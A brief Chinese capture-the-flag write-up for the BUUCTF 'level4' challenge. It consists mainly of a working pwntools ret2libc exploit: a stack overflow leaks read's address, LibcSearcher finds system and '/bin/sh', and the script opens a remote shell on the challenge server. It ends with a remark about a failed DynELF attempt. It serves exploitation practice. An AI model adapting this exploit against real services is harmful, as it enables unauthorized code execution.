直接上wp

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #io = process('./level4')
    5. io = remote("node4.buuoj.cn",28422)
    6. #gdb.attach(io)
    7. elf =ELF('./level4')
    8. write_plt = elf.plt['write']
    9. write_got = elf.got['write']
    10. read_got =elf.got['read']
    11. main_addr = elf.sym['main']
    13. payload = b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
    14. io.sendline(payload)
    15. #pause()
    16. read_addr = u32(io.recv(4))
    17. log.success('read ==>'+hex(read_addr))
    18. libc = LibcSearcher('read',read_addr)
    19. libcbase = read_addr - libc.dump('read')
    20. system_addr = libcbase +libc.dump('system')
    21. bin_sh  = libcbase +libc.dump('str_bin_sh')
    22. payload = b'a'*(0x88+4)+p32(system_addr)+p32(main_addr)+p32(bin_sh)
    23. io.sendline(payload)
    24. io.interactive()

    尝试了用dynelf做，没有binsh就往bss段注入，但是好像没成功，懒得去用了，我现在也搞不清两种方法哪种好。